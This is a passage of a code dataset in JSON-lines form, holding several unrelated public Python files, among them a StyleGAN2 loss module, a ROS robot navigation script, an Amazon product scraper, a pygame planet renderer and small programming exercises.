tf.random.normal(shape=[batch_size, z_dim], dtype=tf.float32)\n if labels is None:\n labels = tf.random.normal(shape=[batch_size, 0], dtype=tf.float32)\n\n # forward pass\n fake_images = generator([z, labels], training=True)\n fake_scores = discriminator([fake_images, labels], training=True)\n\n # gan loss\n g_loss = tf.math.softplus(-fake_scores)\n return g_loss\n\n\ndef g_logistic_ns_pathreg(real_images, generator, discriminator, z_dim,\n pl_mean, pl_minibatch_shrink, pl_denorm, pl_decay,\n labels=None):\n batch_size = tf.shape(real_images)[0]\n z = tf.random.normal(shape=[batch_size, z_dim], dtype=tf.float32)\n if labels is None:\n labels = tf.random.normal(shape=[batch_size, 0], dtype=tf.float32)\n\n pl_minibatch = tf.maximum(1, tf.math.floordiv(batch_size, pl_minibatch_shrink))\n pl_z = tf.random.normal(shape=[pl_minibatch, z_dim], dtype=tf.float32)\n if labels is None:\n pl_labels = tf.random.normal(shape=[pl_minibatch, 0], dtype=tf.float32)\n else:\n pl_labels = labels[:pl_minibatch]\n\n # forward pass\n fake_images, w_broadcasted = generator([z, labels], ret_w_broadcasted=True, training=True)\n fake_scores = discriminator([fake_images, labels], training=True)\n g_loss = tf.math.softplus(-fake_scores)\n\n # Evaluate the regularization term using a smaller minibatch to conserve memory.\n with tf.GradientTape() as pl_tape:\n pl_tape.watch([pl_z, pl_labels])\n pl_fake_images, pl_w_broadcasted = generator([pl_z, pl_labels], ret_w_broadcasted=True, training=True)\n\n pl_noise = tf.random.normal(tf.shape(pl_fake_images)) * pl_denorm\n pl_noise_applied = tf.reduce_sum(pl_fake_images * pl_noise)\n\n pl_grads = pl_tape.gradient(pl_noise_applied, pl_w_broadcasted)\n pl_lengths = tf.math.sqrt(tf.reduce_mean(tf.reduce_sum(tf.math.square(pl_grads), axis=2), axis=1))\n\n # Track exponential moving average of |J*y|.\n pl_mean_val = pl_mean + pl_decay * (tf.reduce_mean(pl_lengths) - pl_mean)\n pl_mean.assign(pl_mean_val)\n\n # Calculate (|J*y|-a)^2.\n pl_penalty = tf.square(pl_lengths - pl_mean)\n return g_loss, pl_penalty\n","repo_name":"moono/stylegan2-tf-2.x","sub_path":"losses.py","file_name":"losses.py","file_ext":"py","file_size_in_byte":4006,"program_lang":"python","lang":"en","doc_type":"code","stars":104,"dataset":"github-code","pt":"61"} +{"seq_id":"23380970551","text":"#!/usr/bin/python\n# coding: UTF-8\n\n# T can be either X or O so replace it by both\n\ndef check_same(input_list):\n return input_list == [input_list[0]] * len(input_list)\n\n\ndef winner(input_list):\n winning_rows = [[0, 1, 2, 3], [4, 5, 6, 7], [8, 9, 10, 11], [12, 13, 14, 15], \n [0, 4, 8, 12], [1, 5, 9, 13], [2, 6, 10, 14], [3, 7, 11, 15],\n [0, 5, 10, 15], [3, 6, 9, 12]\n ]\n for row in winning_rows:\n if check_same([input_list[i] for i in row]) and input_list[row[0]] != '.':\n return input_list[row[0]] + ' won' # return the Symbol of the player\n \n return 'none'\n\nif __name__ == \"__main__\":\n #f = open('input-task-1.txt')\n #f_out = open('prob_1_out.txt', 'w')\n f = open('A-large.in')\n f_out = open('output_prob_1_large', 'w')\n T = int(f.readline()[:-1]) # of input cases\n \n for i in range(T):\n result = ''\n board_X = []\n board_O = []\n for j in range(4):\n line = f.readline()[:-1]\n for char in line:\n if char == 'T':\n board_X.append('X') # building the board\n board_O.append('O')\n else:\n board_X.append(char)\n board_O.append(char)\n \n #print board_X\n #print board_O\n result_X = winner(board_X)\n result_O = winner(board_O)\n if result_X != 'none': result = result_X\n elif result_O != 'none': result = result_O\n else:\n for char in board_X:\n if char == '.':\n result = 'Game has not completed'\n if result == '': result = 'Draw'\n \n f.readline()\n f_out.write(\"Case #\" + str(i+1 )+ \": \" + result + \"\\n\")\n\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_116/2013.py","file_name":"2013.py","file_ext":"py","file_size_in_byte":1594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72724052035","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport rospy\nimport sys\nfrom sensor_msgs.msg import PointCloud2\nimport pandas as pd\nimport numpy as np\nfrom ros_numpy import point_cloud2 as pc2\nimport math\nfrom sensor_msgs.msg import Imu\nfrom tf.transformations import euler_from_quaternion\nfrom rosi_defy.msg import RosiMovementArray\nfrom rosi_defy.msg import RosiMovement\nimport time\nimport threading\nfrom nav_msgs.msg import Odometry\nfrom geometry_msgs.msg import PoseWithCovarianceStamped\nimport os\nfrom std_msgs.msg import Float32 \n\n# Definindo configuracoes iniciais\nyaw = np.pi\nstate = 0\n\nclass Navigation():\n def __init__(self):\n # Iniciando node\n rospy.init_node('navegationNode', anonymous=False)\n\n # Subscrevendo no node velodyne\n self.sub_data = PointCloud2()\n self.sub_data = []\n self.sub_data = rospy.Subscriber('/sensor/velodyne', PointCloud2, self.getVelodyne)\n\n # Subscrevendo no node imu\n self.sub_imu = Imu()\n self.sub_imu = []\n self.sub_imu = rospy.Subscriber('/sensor/imu', Imu, self.getImu)\n\n # Subscrevendo no node odom_combined\n self.sub_odometry = Odometry()\n self.sub_odometry = []\n self.sub_odometry = rospy.Subscriber('/robot_pose_ekf/odom_combined', PoseWithCovarianceStamped, self.getOdometry)\n \n # Criando publicadores velodyne_menor, command_traction_speed e command_kinect_joint\n self.pub_velodyne = rospy.Publisher('/sensor/velodyne_menor', PointCloud2, queue_size=10)\n self.pub = rospy.Publisher('/rosi/command_traction_speed', RosiMovementArray, queue_size=10)\n self.pubkinect = rospy.Publisher('/rosi/command_kinect_joint', Float32, queue_size=10)\n\n # Definindo velocidades iniciais\n self.value1 = 0\n self.value2 = 0\n\n # Criando thread de publicacao nos motores das rodas e no conversor de odometria\n threadPublish = threading.Thread(name = 'publicacao', target = Navigation.publicacao, args = (self,))\n threadPublish.setDaemon(True)\n threadPublish.start()\n time.sleep(10)\n\n # Criando thread que chamar o roslaunch do rtabmab\n threadMapping = threading.Thread(name = 'mapping', target = Navigation.mapping, args = (self,))\n threadMapping.setDaemon(True)\n threadMapping.start() \n time.sleep(20)\n\n # Criando thread da odometria convertida\n threadOdom = threading.Thread(name = 'odometria', target = Navigation.odometria, args = (self,))\n threadOdom.setDaemon(True)\n threadOdom.start()\n time.sleep(5)\n\n # Chamando funcao principal\n Navigation.principal(self)\n\n # Funcao de retorno da odometria\n def getOdometry(self, msg):\n self.xPosition = msg.pose.pose.position.x\n self.yPosition = msg.pose.pose.position.y\n\n # Funcao de publicacao nos motores das rodas e no conversor de odometria\n def publicacao(self):\n # Declarando variaveis \n self.kinect = Float32()\n self.kinect.data = np.float32(-0.15)\n\n # Loop de publicacao\n while not rospy.is_shutdown():\n # Iniciando lista de comandos\n self.traction_command_list = RosiMovementArray()\n\n for i in range(4):\n # Definindo motores\n self.traction_command = RosiMovement()\n self.traction_command.nodeID = i+1\n\n if i < 2:\n self.traction_command.joint_var = self.value1\n else:\n self.traction_command.joint_var = self.value2\n\n # Salvando os motores na lista de comandos\n self.traction_command_list.movement_array.append(self.traction_command)\n\n # Publicando na lista de comandos\n self.pub.publish(self.traction_command_list)\n # Publicando no conversor de odometria\n self.pubkinect.publish(self.kinect)\n\n # Funcao de retorno do imu\n def getImu(self, msg):\n # Definindo variaveis globais\n global yaw\n # Recebendo imu\n data = msg.orientation\n orientation_list = [data.x, data.y, data.z, data.w]\n # Convertendo lista de orientacao da odometria para vetores de euler\n (roll, pitch, yaw) = euler_from_quaternion (orientation_list)\n\n # Funcao de retorno do velodyne\n def getVelodyne(self, msg):\n # Recebendo odometria\n teste = pc2.pointcloud2_to_array(msg)\n x = []\n y = []\n z = []\n\n # Filtrando dados (pontos) para diminuir quantidade de processamento\n for i, j in enumerate(teste['x']):\n if i%5 == 0:\n x.append(j) \n\n for i, j in enumerate(teste['y']):\n if i%5 == 0:\n y.append(j)\n\n for i, j in enumerate(teste['z']):\n if i%5 == 0:\n z.append(j)\n\n # Transformando valores em um array\n teste_menor = np.array([(i, j, k) for i, j, k in zip(x, y, z)], teste.dtype)\n\n # Criando dataframe para armazenar os dados\n df = pd.DataFrame(teste_menor, columns=['x','y','z'])\n\n print('--------------------------------------------------------------------------------------')\n\n df = df[df['z'] > 0.2]\n\n # Definindo tolerancias para os filtros\n tolerance = 0.1\n negative_tolerance = -0.1\n\n # Filtrando menor distancia frontal\n self.frente = np.nan\n distancia_frontal = df[df['y'] < tolerance]\n distancia_frontal = distancia_frontal[distancia_frontal['y'] > negative_tolerance]\n distancia_frontal = distancia_frontal[distancia_frontal['x'] > negative_tolerance]\n print('Distancia frontal: ')\n if(distancia_frontal.isnull().values.all()):\n print('Nada a frente')\n self.frente = np.nan\n else:\n distancia_frontal.reset_index(drop=True, inplace=True)\n value = distancia_frontal[['x']].idxmin()\n distancia_frontal = distancia_frontal.iloc[value][:]\n self.frente = distancia_frontal.at[value[0],'x']\n print(self.frente)\n print('')\n\n # Filtrando menor distancia da direita (90 graus)\n self.direita = np.nan\n distancia_direita = df[df['x'] < tolerance]\n distancia_direita = distancia_direita[distancia_direita['y'] < 0]\n distancia_direita = distancia_direita[distancia_direita['x'] > negative_tolerance]\n print('Distancia direita: ')\n if(distancia_direita.isnull().values.all()):\n print('Nada a direita')\n self.direita = np.nan\n else:\n distancia_direita.reset_index(drop=True, inplace=True)\n value = distancia_direita[['y']].idxmin()\n distancia_direita = distancia_direita.iloc[value][:]\n self.direita = distancia_direita.at[value[0],'y']\n self.direita = abs(self.direita)\n print(self.direita)\n print('')\n\n # Filtrando menor distancia da esquerda (90 graus)\n self.esquerda = np.nan\n distancia_esquerda = df[df['x'] < tolerance]\n distancia_esquerda = distancia_esquerda[distancia_esquerda['y'] > 0]\n distancia_esquerda = distancia_esquerda[distancia_esquerda['x'] > negative_tolerance]\n print('Distancia esquerda: ')\n if(distancia_esquerda.isnull().values.all()):\n print('Nada a esquerda')\n self.esquerda = np.nan\n else:\n distancia_esquerda.reset_index(drop=True, inplace=True)\n value = distancia_esquerda[['y']].idxmin()\n distancia_esquerda = distancia_esquerda.iloc[value][:]\n self.esquerda = distancia_esquerda.at[value[0],'y']\n print(self.esquerda)\n print('')\n\n # Filtrando distancia diagonal direita (45 graus)\n #self.s_direita = np.nan\n dd_direita = df.loc[((abs(df['x'] + df['y'])) <= (tolerance)) & df['x'] > 0]\n print('Distancia diagonal direita: ')\n if(dd_direita.isnull().values.all()):\n print('Nada na diagonal direita')\n #self.s_direita = np.nan\n else:\n dd_direita.reset_index(drop=True, inplace=True)\n value = dd_direita[['x']].idxmin()\n dd_direita = dd_direita.iloc[value][:]\n #print(dd_direita.at[value[0],'x'])\n #x = dd_direita.at[value[0],'x']**2\n self.s_direita = dd_direita.at[value[0],'y']\n self.s_direita = abs(self.s_direita)\n #soma = x + y\n #hip_direita = math.sqrt(soma)\n print(self.s_direita)\n print('')\n\n # Filtrando distancia diagonal esquerda (45 graus)\n #self.s_direita = np.nan\n dd_esquerda = df.loc[((abs(df['x'] - 2*df['y'])) <= (tolerance)) & df['x'] > 0]\n print('Distancia diagonal esquerda: ')\n if(dd_esquerda.isnull().values.all()):\n print('Nada na diagonal esquerda')\n #self.s_direita = np.nan\n else:\n dd_esquerda.reset_index(drop=True, inplace=True)\n value = dd_esquerda[['x']].idxmin()\n dd_esquerda = dd_esquerda.iloc[value][:]\n #print(dd_esquerda.at[value[0],'x'])\n #x = dd_esquerda.at[value[0],'x']**2\n self.s_esquerda = dd_esquerda.at[value[0],'y']\n #soma = x + y\n #hip_esquerda = math.sqrt(soma)\n #print(hip_esquerda)\n print(self.s_esquerda)\n print('') \n\n def giro(self, lado, objetivo):\n # Definindo variaveis globais\n global yaw\n global state\n\n # Definindo estado e tolerancia\n state = 1\n tolerance = 0.1\n\n # Definindo lado do giro alterando a velocidade angular dos motores\n if(lado == 1):\n self.value1 = -5\n self.value2 = 5\n else:\n self.value1 = 5\n self.value2 = -5\n\n # Definindo parada no giro\n while(True):\n if(abs(yaw-objetivo) < tolerance):\n state = 0\n break\n \n # Voltando a velocidade dos motores para zero\n self.value1 = 0\n self.value2 = 0\n\n def andar(self, distancia):\n # Definindo variaveis globais\n global state\n\n # Definindo estado\n state = 2\n \n # Armazenando posicao inicial\n xi = self.xPosition\n yi = self.yPosition\n\n # Definindo velocidade algular para frente\n self.value1 = 5\n self.value2 = 5\n\n # \n while(True):\n # Armazenando posicao atual\n xp = self.xPosition\n yp = self.yPosition\n\n # Calculando distancia ja percorrida entra distancia atual e inicial\n hipotenusa = math.sqrt((xp - xi)**2 + (yp - yi)**2)\n\n # Definindo condicao de parada\n if(hipotenusa > distancia and self.xPosition != 0):\n state = 0\n break\n \n # Voltando a velocidade dos motores para zero\n self.value1 = 0\n self.value2 = 0\n\n # Funcao principal do programa\n def principal(self):\n # Iniciando thread de costeamento\n threadCorretora = threading.Thread(name = 'corretora', target = Navigation.corretora, args = (self,))\n threadCorretora.setDaemon(True)\n threadCorretora.start()\n\n # LADO A\n '''\n lado = 1\n lado2 = -1\n objetivo = 3*(np.pi/4)\n objetivo2 = np.pi\n distancia = 3.2\n\n #Navigation.andar(self, 2)\n #time.sleep(2)\n Navigation.giro(self, lado, objetivo)\n Navigation.andar(self, distancia)\n Navigation.giro(self, lado2, objetivo2)\n Navigation.andar(self, 10)\n '''\n \n # LADO B\n\n lado = -1\n lado2 = 1\n objetivo = -3*(np.pi/4)\n objetivo2 = -3.0\n distancia = 1.8\n\n Navigation.giro(self, lado, objetivo)\n Navigation.andar(self, distancia)\n Navigation.giro(self, lado2, objetivo2)\n Navigation.andar(self, 15)\n\n # Funcao de costeamento\n def corretora(self):\n # Definindo variaveis globais\n global state\n\n # Definindo tolerancias de costeamento\n distanciamin = 0.7\n distanciamax = 0.9\n \n # Loop de costeamento\n while(True):\n time.sleep(0.1)\n\n # Verificacao de estados\n if(state == 2):\n if(np.isnan(self.esquerda) and np.isnan(self.direita)):\n pass\n elif(np.isnan(self.esquerda)):\n distancia = 0\n if(self.direita < self.s_direita):\n distancia = self.direita\n print('90 - ',distancia)\n else:\n distancia = self.s_direita\n print('45 - ', distancia)\n if(distancia < distanciamin and state == 2):\n #print('lado B - p esquerda - ', distancia)\n self.value1 = 6\n self.value2 = 4\n if(distancia > distanciamax and state == 2):\n #print('lado B - p direita - ', distancia)\n self.value1 = 4\n self.value2 = 6\n if((distancia < distanciamax) and (distancia > distanciamin) and state == 2):\n #print('lado B - p retinho- ', distancia)\n self.value1 = 5\n self.value2 = 5\n if(self.frente < 1.7):\n state = 3\n while (True):\n if(self.s_direita < 1.2 and distancia > 3):\n self.value1 = 7\n self.value2 = 3\n if(self.s_direita > 1.2 and distancia < 3):\n Navigation.giro(self, 1, -3.14)\n break\n else:\n distancia = 0\n if(self.esquerda < self.s_esquerda):\n distancia = self.esquerda\n else:\n distancia = self.s_esquerda\n if(distancia < distanciamin and state == 2):\n #print('lado A - p direita- ', distancia)\n self.value1 = 4\n self.value2 = 7\n if(distancia > distanciamax and state == 2):\n #print('lado A - p esquerda - ', distancia)\n self.value1 = 7\n self.value2 = 4\n if((distancia < distanciamax) and (distancia > distanciamin) and state == 2):\n #print('lado A - p retinho - ', distancia)\n self.value1 = 5\n self.value2 = 5\n if(state == 3):\n flag = 0\n while(True):\n if((self.s_direita < 1.4) and flag == 0):\n self.value1 = 7\n self.value2 = 3\n if(self.s_direita >= 1.4 and self.direita > 5.0):\n flag = 1\n Navigation.giro(self, 1, -3.14)\n state = 2\n break\n\n # Funcao de inicializacao de mapeamento\n def mapping(self):\n # Chamada do roslaunch para inicializacao do mapping pelo rtabmap\n os.system(\"roslaunch taura mapping.launch\")\n\n # Funcao de retorno de odometria\n def odometria(self):\n # Chamada do roslaunch para conversao de odometria\n os.system(\"roslaunch taura robot_pose.launch\")\n\nif __name__ == '__main__':\n # Inicializando classe Navigation\n nav = Navigation()\n","repo_name":"alikolling/taura_Rosi_challenge","sub_path":"taura/scripts/navigation.py","file_name":"navigation.py","file_ext":"py","file_size_in_byte":15793,"program_lang":"python","lang":"pt","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"20524989421","text":"import csv\nimport re\nimport string\nimport time\nimport webbrowser\nfrom urllib.parse import ParseResultBytes\nfrom bs4 import BeautifulSoup\nfrom selenium import webdriver\n\ndef get_url(search_term):\n template = 'https://www.amazon.com/s?k={}&ref=nb_sb_noss_1'\n search_term = search_term.replace(' ', '+')\n return template.format(search_term)\n\ndef extract_record(item):\n try:\n atag = item.h2.a\n description = atag.text.strip()\n url = 'https://www.amazon.com' + atag.get('href')\n price_parent = item.find('span', 'a-price')\n price = price_parent.find('span', 'a-offscreen').text\n price = price[1:]\n rating = item.i.text\n if (rating == ''):\n return False\n rating = rating[:3]\n review_count = item.find('span', 'a-size-base').text\n review_count = review_count.replace(\",\",\"\")\n if (review_count.isdigit()):\n pass\n else:\n return False\n #regnumber = re.findall(r'[0-9],[0-9]|[0-9]', review_count)\n #print(regnumber)\n #if regnumber.search(review_count):\n # print(review_count)\n # pass\n #else:\n # return False\n value = (float(rating)*float(review_count))/(float(price.replace(',',''))*.20)\n global numb\n result = (value, description, price, rating, review_count, url)\n return result\n except AttributeError:\n return False\n\nrecords = []\ninput = input('What are you shopping for? ')\nurl = get_url(input)\ndriver = webdriver.Chrome(r'C:\\Users\\danie\\Documents\\chromedriver.exe')\ncurrent_url = list(url)\nfor page in range(1,21):\n string_url =\"\"\n for element in current_url: \n string_url += str(element)\n driver.get(string_url)\n soup = BeautifulSoup(driver.page_source, 'html.parser')\n results = soup.find_all('div', {'data-component-type': 's-search-result'})\n\n for item in results:\n stuff = extract_record(item)\n if (stuff != False):\n records.append(stuff)\n\n if (page == 1):\n nextButton = driver.find_element_by_partial_link_text('Next')\n nextButton.click()\n current_url = list(driver.current_url)\n \n current_url[28+len(input)+5] = page+1\n\nsorted_records = sorted(records, reverse=True, key=lambda x: x[0])\nwith open('results.csv', 'w', encoding='utf-8') as f:\n writer = csv.writer(f)\n writer.writerow(['Value', 'Description', 'Price', 'Rating', 'ReviewCount', 'Url'])\n writer.writerows(sorted_records)\n\ndriver.close()\n\nfor i in range(5):\n webbrowser.open(sorted_records[i][5])\n","repo_name":"danielz117/Amazon-Web-Scraper","sub_path":"amazon-scraper.py","file_name":"amazon-scraper.py","file_ext":"py","file_size_in_byte":2583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"37930706986","text":"import pygame\nimport time\nimport os\nfrom math import sqrt, sin, cos, tan, pi, asin, acos, atan\nfrom functions import read\n\ndir_path = os.path.dirname(os.path.realpath(__file__))\n\nclass Vec3():\n\n\tdef __init__(self, x=0, y=0, z=0):\n\t\tself.x = x\n\t\tself.y = y\n\t\tself.z = z\n\n\tdef mult(self, n):\n\t\treturn Vec3(self.x*n, self.y*n, self.z*n)\n\n\tdef addVec(self, vec):\n\t\treturn Vec3(self.x + vec.x, self.y + vec.y, self.z + vec.z)\n\n\tdef multVec(self, vec):\n\t\treturn Vec3(self.x * vec.x, self.y * vec.y, self.z * vec.z)\n\n\tdef avg(self, vec):\n\t\treturn self.addVec(vec).mult(.5)\n\n\tdef abs(self):\n\t\treturn sqrt(self.x**2 + self.y**2 + self.z**2)\n\n\tdef normalise(self):\n\t\treturn self.mult(1/self.abs())\n\n\tdef xPhi(self):\n\t\treturn atan(self.x/self.z)\n\n\tdef yPhi(self):\n\t\treturn atan(self.y/sqrt(self.x**2 + self.z**2))\n\n\tdef dot(self, vec):\n\t\treturn self.x*vec.x + self.y*vec.y + self.z*vec.z\n\n\tdef ints(self):\n\t\treturn (int(self.x), int(self.y), int(self.z))\n\nclass Planet():\n\n\tmaxPixelRad = 20\n\tfov = pi/3\n\trot = 0\n\tdist = 100\n\tlight = Vec3(1,0,-.3).normalise()\n\n\tdef __init__(self, radius, textureFile, col1, col2):\n\t\tself.radius = radius\n\t\tself._makeTexture(textureFile)\n\t\tself.col1 = Vec3(col1[0], col1[1], col1[2])\n\t\tself.col2 = Vec3(col2[0], col2[1], col2[2])\n\n\tdef rotBy(self, angle):\n\t\tself.rot += angle\n\n\tdef setDist(self, dist):\n\t\tself.dist = dist\n\n\tdef setLight(self, light):\n\t\tself.light = light.normalise()\n\n\tdef _makeTexture(self, textureFile):\n\t\tself.texture = []\n\t\ttext = read(textureFile).split(\"\\n\")\n\t\tfor textRow in text:\n\t\t\trow = []\n\t\t\tfor patch in textRow:\n\t\t\t\trow.append(patch == \"#\")\n\t\t\tself.texture.append(row)\n\n\tdef _getTexture(self, P):\n\t\txPhi, yPhi = P.xPhi(), P.yPhi()\n\t\tyIndex = int(len(self.texture)*((yPhi - pi/2)%pi)/pi)\n\t\txIndex = int(len(self.texture[yIndex])*((xPhi - pi/2 - self.rot)%(2*pi))*.5/pi)\n\n\t\treturn self.texture[yIndex][xIndex]\n\n\t\t\n\tdef draw(self, surf):\n\t\txSize, ySize = surf.get_size()\n\t\tviewAngle = asin(self.radius/self.dist)\n\t\tviewRad = tan(viewAngle)*xSize/2\n\n\t\tself.pixel = max(1,int(viewRad/self.maxPixelRad))\n\n\t\tfor y in range(-int(viewRad), int(viewRad) + 1, self.pixel):\n\t\t\tr = sqrt(viewRad**2 - y**2)\n\t\t\tfor x in range(-int(r), int(r) + 1, self.pixel):\n\t\t\t\txAngle = viewAngle*x/viewRad\n\t\t\t\tyAngle = viewAngle*y/viewRad\n\n\t\t\t\tV = Vec3(tan(xAngle), tan(yAngle), 1).normalise()\n\t\t\t\tlam = self.dist*V.z/(V.abs()**2) - sqrt((self.dist*V.z/(V.abs()**2))**2 + (self.radius**2 - self.dist**2)/(V.abs()**2))\n\n\t\t\t\tP = V.mult(lam).addVec(Vec3(0,0,-self.dist))\n\n\t\t\t\tcol = (self.col1 if self._getTexture(Vec3(P.x, P.y, -P.z)) else self.col2).mult(1)\n\n\t\t\t\tif viewRad > 5:\n\t\t\t\t\tshade = P.dot(self.light)\n\t\t\t\t\t# if shade < 3 and shade > -3:\n\t\t\t\t\t# \tcol = col.avg(Vec3(.9,.5,.0)).mult(.8)\n\t\t\t\t\t# el\n\t\t\t\t\tif shade < 0:\n\t\t\t\t\t\tcol = col.mult(.25)\n\n\t\t\t\tpygame.draw.rect(surf, col.mult(255).ints(), (xSize/2 + x, ySize/2 + y, self.pixel, self.pixel))\n\n\n\nif __name__ == \"__main__\":\n\n\tpygame.init()\n\n\txSize, ySize = 1000, 750\n\tscreen = pygame.display.set_mode((xSize, ySize))\n\tpygame.display.set_caption(\"Pygame Template\")\n\n\tearth = Planet(50, \"\\Textures\\Text_Earth.txt\", [92/255,135/255,45/255], [37/255,78/255,124/255])\n\n\tclock = pygame.time.Clock()\n\tframeCount = 0\n\tdone = False\n\twhile not done:\n\t\tframeCount += 1\n\t\tmx, my = pygame.mouse.get_pos()\n\t\tfor event in pygame.event.get():\n\t\t\tif event.type == pygame.QUIT:\n\t\t\t\tdone = True\n\t\t\tif event.type == pygame.MOUSEBUTTONDOWN:\n\t\t\t\tmouseHold = True\n\n\t\t\tif event.type == pygame.MOUSEBUTTONUP:\n\t\t\t\tmouseHold = False\n\t\t\t\t\n\t\tscreen.fill([0,0,0])\n\n\t\tearth.draw(screen)\n\t\t#earth.rotBy(pi/100)\n\t\tearth.rot = mx/100\n\t\tearth.setDist(50 + ySize - my)\n\t\tearth.setLight(Vec3(10*sin(frameCount/100), 0, 10*cos(frameCount/100)))\n\n\t\tif frameCount%20 == 0:\n\t\t\tprint(clock.get_fps())\n\n\t\tpygame.display.flip()\n\n\t\tclock.tick(60)\n\n\tpygame.quit()\n","repo_name":"mahclark/python-projects","sub_path":"Solar_System/PlanetTexture2.py","file_name":"PlanetTexture2.py","file_ext":"py","file_size_in_byte":3795,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"31291520744","text":"# data structure (part 3)\n# stack (LIFO)\n\n\nclass Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass Stack:\n def __init__(self):\n self.top = None\n self.count = 0\n\n def is_empty(self):\n return self.top is None\n\n def size(self):\n return self.count\n\n def push(self, item):\n node = Node(item)\n if node is None:\n print('Heap overflow')\n node.next = self.top\n self.top = node\n self.count += 1\n\n def pop(self):\n if self.top is None:\n print('Stack is empty.')\n\n top = self.top.data\n self.top = self.top.next\n self.count -= 1\n return top\n\n def get_top(self):\n if self.top is None:\n print('Stack is empty.')\n return self.top.data\n\n def __str__(self):\n line = \"\"\n cur = self.top\n while cur is not None:\n line += str(cur.data) + \" \\n\"\n cur = cur.next\n return line\n\n\n\n#\nst = Stack()\nst.push(5)\nst.push(7)\nst.push(3)\n\nprint('All stack elements:')\nprint(st)\n\nprint(f'Top value is: {st.get_top()}')\n\nprint(\"\\nRemoving top element:\")\nst.pop()\nprint(st)\nprint(f'Top value is: {st.get_top()}')","repo_name":"MikeKorsikov/PythonClasses","sub_path":"Lesson29n/Lesson29n_0.py","file_name":"Lesson29n_0.py","file_ext":"py","file_size_in_byte":1232,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10698548542","text":"import datetime\n\n\ndef gen_random_pid(db):\n new_pid = str(\n hash(datetime.datetime.now().strftime(\"%Y-%m-%d-%H:%M:%S.%f\")))\n db.sadd('set_of_pids', new_pid)\n return new_pid\n\n\ndef clear_database(db):\n for key in db.keys():\n db.delete(key)\n\n\nCARDS = [\n {\n \"name\": \"Apple\",\n 'value': 3,\n 'type': 'Goods'\n },\n {\n \"name\": \"Cheese\",\n 'value': 5,\n 'type': 'Goods'\n },\n {\n \"name\": \"Hammers\",\n 'value': 7,\n 'type': 'Contraband'\n },\n {\n \"name\": \"Gems\",\n 'value': 9,\n 'type': 'Contraband'\n },\n]\n","repo_name":"nithvijay/card-game","sub_path":"server/utils/db_utils.py","file_name":"db_utils.py","file_ext":"py","file_size_in_byte":617,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"37757567825","text":"with open(\"employees.txt\") as f:\n content = f.readlines()\n\nfor x in content:\n y= x.split()\n z=y[0]\n first= z[3:]\n second=z[0:3]\n z=first+second\n print(z) \n\n \n","repo_name":"kalpitveerwal/Python-Projects","sub_path":"outlab3/P2/strings.py","file_name":"strings.py","file_ext":"py","file_size_in_byte":203,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2632543256","text":"import fileinput\nimport re\nfrom collections import deque\n\ndef part1(instructions):\n wires = {}\n\n parser = re.compile(r'(?:(?P<value>[0-9]+)|(?P<not_command>NOT )?(?P<input>[a-z]+)|(?:(?P<input_1>[a-z]+)|1) (?P<command>OR|AND|LSHIFT|RSHIFT) (?P<input_2>[a-z0-9]+)) -> (?P<output>[a-z]+)')\n\n instructions = deque(instructions)\n\n # for instruction in instructions:\n while len(instructions) > 0:\n instruction = instructions.popleft()\n if not parser.match(instruction):\n print(f'failure {instruction}')\n break\n\n # print(instruction)\n matches = parser.match(instruction).groupdict()\n # print(matches)\n output = matches['output']\n command = matches['command']\n\n if matches['value'] is not None:\n wires[output] = int(matches['value'])\n elif command is None:\n input = matches['input']\n\n if input not in wires:\n instructions.append(instruction)\n continue\n\n if matches['not_command']:\n wires[output] = 65535 - wires[input]\n else:\n wires[output] = wires[input]\n elif command == 'OR':\n input_1 = matches['input_1']\n input_2 = matches['input_2']\n\n if input_1 not in wires or input_2 not in wires:\n instructions.append(instruction)\n continue\n\n wires[output] = wires[input_1] | wires[input_2]\n elif command == 'AND':\n input_1 = matches['input_1']\n input_2 = matches['input_2']\n\n if input_1 is None:\n if input_2 not in wires:\n instructions.append(instruction)\n continue\n wires[output] = 1 & wires[input_2]\n else:\n if input_1 not in wires or input_2 not in wires:\n instructions.append(instruction)\n continue\n wires[output] = wires[input_1] & wires[input_2]\n elif command == 'LSHIFT':\n input_1 = matches['input_1']\n input_2 = int(matches['input_2'])\n\n if input_1 not in wires:\n instructions.append(instruction)\n continue\n\n wires[output] = wires[input_1] << input_2\n elif command == 'RSHIFT':\n input_1 = matches['input_1']\n input_2 = int(matches['input_2'])\n\n if input_1 not in wires:\n instructions.append(instruction)\n continue\n\n wires[output] = wires[input_1] >> input_2\n\n pass\n\n # print(wires)\n\n return wires['a']\n\ndef main():\n print(part1(fileinput.input()))\n pass\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"paul-schwendenman/advent-of-code","sub_path":"2015/day07/day7.py","file_name":"day7.py","file_ext":"py","file_size_in_byte":2753,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38382896111","text":"from textwrap import dedent\n\nimport pytest\n\nfrom pants.backend.project_info import peek\nfrom pants.backend.project_info.peek import Peek\nfrom pants.core.target_types import ArchiveTarget, Files\nfrom pants.engine.addresses import Address\nfrom pants.testutil.rule_runner import RuleRunner\n\n\n@pytest.mark.parametrize(\n \"targets, exclude_defaults, expected_output\",\n [\n pytest.param(\n [],\n False,\n \"[]\\n\",\n id=\"null-case\",\n ),\n pytest.param(\n [Files({\"sources\": []}, Address(\"example\", target_name=\"files_target\"))],\n True,\n dedent(\n \"\"\"\\\n [\n {\n \"address\": \"example:files_target\",\n \"target_type\": \"files\",\n \"sources\": []\n }\n ]\n \"\"\"\n ),\n id=\"single-files-target/exclude-defaults\",\n ),\n pytest.param(\n [Files({\"sources\": []}, Address(\"example\", target_name=\"files_target\"))],\n False,\n dedent(\n \"\"\"\\\n [\n {\n \"address\": \"example:files_target\",\n \"target_type\": \"files\",\n \"dependencies\": null,\n \"description\": null,\n 